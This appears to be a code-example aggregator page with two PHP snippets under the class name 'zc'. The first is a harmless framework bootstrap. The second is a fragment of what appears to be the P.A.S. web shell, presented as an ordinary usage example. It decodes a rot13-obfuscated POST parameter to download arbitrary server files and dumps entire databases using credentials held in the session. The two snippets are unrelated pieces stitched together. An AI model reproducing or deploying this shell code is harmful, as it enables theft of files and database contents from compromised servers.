예제 #1
0
파일: index.php 프로젝트: wuyuanyuan1012/zc
<?php

//暂存区
/**
 * @author wyy
 * hello zero
 * hello two
 * hello three
 * checkout
 * one 
 */
//hotfix
include './zc-framework/zc.php';
zc::init('./petstore/');
zc::runMVC();
예제 #2
0
        $z->cl();
        die;
    } elseif (isset($_POST['fdw'])) {
        $_POST['fdw'] = str_rot13($_POST['fdw']);
        header('Content-type: multipart/octet-stream');
        header('Content-Disposition: attachment; filename=' . bname($_POST['fdw']));
        header('Content-Transfer-Encoding: binary');
        header('Accept-Ranges: bytes');
        header('Content-Length: ' . @filesize($_POST['fdw']));
        header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
        @readfile($_POST['fdw']);
        die;
    }
}
if (isset($_POST['sdd']) && !empty($_POST['cd'])) {
    $z = new zc('SQL_dump');
    @session_start();
    $c = $_SESSION['DB'];
    @session_write_close();
    $s = new sc($c['tp']);
    if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up'])) {
        foreach ($_POST['cd'] as $v) {
            $z->of($v . '.sql');
            $z->wf('-- -------------------------------- --' . "\n" . '-- [  SQL Dump created by P.A.S.  ] --' . "\n" . '-- [' . str_pad($_SERVER['HTTP_HOST'], 30, ' ', STR_PAD_BOTH) . '] --' . "\n" . '-- [          ' . date('Y/m/d') . '          ] --' . "\n" . '-- -------------------------------- --' . "\n");
            $s->lt($v);
            $i = 0;
            while ($t = $s->fv($i++)) {
                $s->dt($v, $t, $z);
            }
            $z->cf();
        }